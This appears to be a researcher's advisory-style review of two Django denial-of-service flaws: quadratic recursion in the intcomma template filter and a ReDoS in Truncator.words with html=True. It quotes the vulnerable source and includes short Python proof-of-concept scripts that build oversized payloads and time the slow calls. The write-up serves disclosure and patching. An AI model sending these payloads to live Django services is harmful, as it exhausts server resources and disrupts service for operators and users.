Review for Recent Django Security Issues - CVE-2024-24680, CVE-2024-27351
CVE-2024-24680:
Potential denial-of-service in intcomma template filter
TL;DR
The intcomma
template filter was subject to a potential denial-of-service attack when used with very long strings.
Your Django server can be under affected denial-of-service issue if you have the code like below, that intcomma
template filter uses the value user provided directly.
Details:
Located in the django/conrib/humanize/templatetags/humanize.py
file, the intcomma
template filter is designed to convert an integer into a string, inserting commas every three digits for readability.
Upon the code [1]
, we can know that it uses a regular expression to catch the last consecutive three digits and insert a comma. We should remember that the regex ^(-?\d+)
could be greedy.
# django/conrib/humanize/templatetags/humanize.py
@register.filter(is_safe=True)
def intcomma(value, use_l10n=True):
"""
Convert an integer to a string containing commas every three digits.
For example, 3000 becomes '3,000' and 45000 becomes '45,000'.
"""
if use_l10n:
try:
if not isinstance(value, (float, Decimal)):
value = int(value)
except (TypeError, ValueError):
return intcomma(value, False)
else:
return number_format(value, use_l10n=True, force_grouping=True)
orig = str(value)
new = re.sub(r"^(-?\d+)(\d{3})", r"\g<1>,\g<2>", orig) # [1]
if orig == new:
return new
else:
return intcomma(new, use_l10n) # [2]
The process is then repeated recursively to handle the previous remaining numbers in the code [2]
.
Due to the recursive nature of this function, passing a large number as an argument can cause significant delays and consume substantial computing resources. This is because the function has an O(n^2) time complexity. This issue becomes evident when examining the Proof of Concept (PoC) code attached below.
#!/usr/bin/env python3
import time
from django.contrib.humanize.templatetags.humanize import intcomma
MAX_LENGTH = 65535
payload = "123" * (MAX_LENGTH // 3) + "a"
print('[INFO] %d bytes of payload' % len(payload))
start_time = time.time()
try:
intcomma(payload)
except RecursionError:
pass
finally:
end_time = time.time()
print('[INFO] intcomma() took %lf seconds' % (end_time - start_time))
The impact of this vulnerability may vary depending on the computing environment. In my tests using an AMD Ryzen 7 3700X with 32GB RAM, I observed a notable delay of approximately 0.45 seconds.
Impact:
This security issue can seriously waste server resources, causing significant disruptions to the service.
Related:
CVE-2024-27351: Potential ReDoS in Django's Truncator
TL;DR
Potential regular expression denial-of-service in django.utils.text.Truncator.words()
Your Django-based service might be vulnerable to denial-of-service attacks if you have code that uses Truncator.words()
with the html
flag set to True
and directly incorporates user-provided input like below.
Details:
In the code snippet from django/utils/text.py
, at code reference [1]
, there is the words()
method of the Truncator
class. When called it with the html
flag set to True
, this method internally invokes the _truncate_html()
method declared in same class.
# django/utils/text.py
class Truncator(SimpleLazyObject):
# ...
def words(self, num, truncate=None, html=False):
self._setup()
length = int(num)
if html:
return self._truncate_html(
length, truncate, self._wrapped, length, True
) # [1]
return self._text_words(length, truncate)
The method _truncate_html()
, which used at code reference [1]
, is designed to limit the length of HTML text based on given length
arguments. Here's a closer look at the code:
# django/utils/text.py
re_words = _lazy_re_compile(r"<[^>]+?>|([^<>\s]+)", re.S)
class Truncator(SimpleLazyObject):
def _truncate_html(self, length, truncate, text, truncate_len, words):
if words and length <= 0:
return ""
size_limited = False
# self.MAX_LENGTH_HTML = 5_000_000
if len(text) > self.MAX_LENGTH_HTML: # [4]
text = text[: self.MAX_LENGTH_HTML]
size_limited = True
regex = re_words if words else re_chars # [2]
while current_len <= length:
m = regex.search(text, pos) # [3]
# ...
The function _truncate_html()
uses regular expressions variable named re_words
t
o identify words within HTML, allowing for the truncation of text to a specified length. You can find that this function stores re_words
at code ref [2]
and use it with search()
method at [3]
.
However, this implementation has a critical security issue. Because the pattern /<[^>]+?>|([^<>\s]+)/
is prone to Regular Expression Denial of Service (ReDoS) attacks. Let's dive into why this regex is vulnerable to ReDoS.
<[^>]+?>
: This part of the expression matches any sequence of characters between the angle brackets<
and>
. The+
operator indicates that the preceding character (in this case, any character that is not>
) must appear one or more times. The?
operator makes the quantifier preceding it lazy, meaning it matches the fewest characters possible.([^<>\s]+)
: This segment matches one or more characters that are not angle brackets,<
or>
, and not whitespace characters. The+
operator here again indicates that the preceding character set must appear one or more times.
The vulnerability lies within the first pattern, <[^>]+?>
. The segment [^>]+
denotes repeating any character except >
one or more times. If the input string lacks a >
character, this pattern could potentially match indefinitely, leading to a ReDoS attack by causing excessive backtracking.
I could notice that the number of processing steps increases by 5 for each character added which matches the regular expression [^>]+
according to regex101. And considering code ref [4]
, we can find that this vulnerable regex string is available to meet 5,000,000 bytes of strings. 😮😮
This inefficiency would expose the system to potential denial-of-service, where an attacker crafts input to exploit this vulnerability, leading to performance degradation or service unavailability.
To reproduce the Regular Expression Denial of Service (ReDoS) vulnerability within the Truncator.words()
method of Django, you can use the following Proof of Concept (PoC) code:
from django.utils.text import Truncator
import time
MAX_LENGTH = 65535
payload = '<' * MAX_LENGTH
print('[INFO] %d bytes of payload' % len(payload))
start_time = time.time()
Truncator(payload).words(3, truncate='...', html=True)
end_time = time.time()
print('[INFO] Truncator().words() took %lf seconds' % (end_time - start_time))
This code essentially generates a large payload composed of repeated characters that can trigger the ReDoS.
In a specific test environment utilizing an AMD Ryzen 7 3700X CPU with 32GB RAM, processing the payload resulted in a noticeable delay of about 42 seconds. The actual impact may vary across different computing environments, but this example highlights the importance of addressing such vulnerabilities to maintain application performance and security.
Impact:
This security issue can seriously waste server resources, causing significant disruptions to the service.